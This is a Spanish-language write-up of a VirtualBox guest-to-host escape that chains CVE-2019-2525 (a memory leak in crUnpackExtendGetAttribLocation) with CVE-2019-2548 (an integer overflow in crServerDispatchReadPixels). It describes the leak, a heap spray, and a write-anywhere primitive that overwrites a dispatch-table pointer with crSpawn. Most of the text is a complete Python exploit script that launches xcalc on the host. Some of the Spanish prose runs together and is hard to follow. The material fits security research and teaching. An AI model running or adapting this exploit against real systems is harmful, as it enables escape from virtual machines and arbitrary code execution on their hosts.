
CVE-2019-2525 / CVE-2019-2548
Bugs de VBox que se usarán
crUnpackExtendGetAttribLocation Divulgación de informacióncrServerDispatchReadPixels Desbordamiento de entero, que conduce a desbordamiento de heapAntes de la explicación, se adjunta un vídeo realizando el exploit a continuación.
https://youtu.be/IQRLtqMgVCY?t=46
hgcm_connect y hgcm_disconnect varias veces, se pueden colocar en memoria valores relacionados con cr_server; además, en crUnpackExtendGetAttribLocation, mediante un offset negativo, se produce una fuga de memoria que permite obtener las direcciones de cr_server+19056 y crVBoxHGCMDoDisconnect.cr_server y crSpawn.CRVBOXSVBUFFER_t en la memoria. En este caso se usa alloc_buf; debido a que la memoria se asigna de forma contigua, pData de la estructura del buffer también se asigna justo al lado de la estructura del buffer.alloc_buf(client, 0x20) se crea un pData del mismo tamaño que CRVBOXSVBUFFER_t.

alloc_buf(client, 0x50, msg) y alloc_buf(client, 0x20, msg) para llenar los chunks Free. El de 0x50 no se asigna en el chunk liberado, sino que se asigna en otra región de memoria.

integer overflow en crServerDispatchReadPixels, se asigna una estructura de tamaño 0x20.Heap overflow de 0x18 que permite modificar uiID y uiSize de la siguiente estructura.
uiID modificado se puede modificar el siguiente chunk. Como uiSize es 0xffffffff, el siguiente chunk se puede cambiar al valor deseado hasta pData.
pData con la estructura cuyo uiID es 0xdeadbeef y realizar una OOB Write usando la estructura 0xcafebabe.OOB Write, se escribe "xcalc" en cr_server + 0xc410.OOB Write, se sobrescribe crServerDispatchBoundsInfoCR(cr_server+0x0xae98) de la tabla de funciones con la función crSpawn.crSpawn. En este momento, pasando como argumentos command="xcalc", argv=[dirección de "xcalc", NULL], se puede escapar de VirtualBox y ejecutar la calculadora.
https://youtu.be/IQRLtqMgVCY?t=46
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)